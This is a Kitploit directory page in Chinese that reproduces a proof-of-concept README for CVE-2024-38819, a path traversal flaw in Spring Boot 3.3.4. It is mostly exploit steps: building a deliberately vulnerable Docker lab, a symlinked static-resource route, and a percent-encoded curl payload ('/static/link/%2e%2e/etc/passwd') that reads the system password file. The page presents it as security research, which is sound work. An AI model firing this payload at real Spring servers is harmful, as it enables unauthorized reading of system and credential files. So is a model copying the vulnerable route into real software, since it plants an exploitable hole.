Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-38819-POC — 概念验证,演示Spring Boot 3.3.4中通过符号链接和百分号编码目录遍历实现的路径遍历漏洞,用于安全研究和教育。 | Kitploit
工具/GitHubGitHub/masa42/cve-2024-38819-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubmasa42/cve-2024-38819-poc

CVE-2024-38819-POC

概念验证,演示Spring Boot 3.3.4中通过符号链接和百分号编码目录遍历实现的路径遍历漏洞,用于安全研究和教育。

查看仓库
391511年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38819: 概念验证 (PoC)

这是针对我报告的 CVE-2024-38819 漏洞的概念验证,演示了路径遍历漏洞利用。

执行步骤

  1. 构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38819-poc .
    
  2. 运行容器并将端口 8080 暴露到宿主机

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
    
  3. 运行以下命令执行 PoC 并确认漏洞

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    如果攻击成功,将显示 /etc/passwd 文件的内容。

说明

  1. 创建 PathTraversalDemoApplication.java,使用以下代码通过 RouterFunction 和 FileSystemResource 设置静态文件路由:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. 在 Dockerfile 中添加以下命令以创建符号链接:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. 创建一个利用百分号编码(percent-encoding)通过符号链接进行目录遍历的 payload。

    • 路径:/static/link/%2e%2e/etc/passwd
  4. 使用以下 curl 命令执行 PoC,验证攻击是否成功:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    如果攻击成功,将显示 /etc/passwd 文件的内容。

免责声明

本 PoC 仅供教育和安全研究之用。在真实系统中使用之前,请确保漏洞已修复,并且您已获得适当的授权。作者不对任何滥用此代码的行为承担责任。

下载工具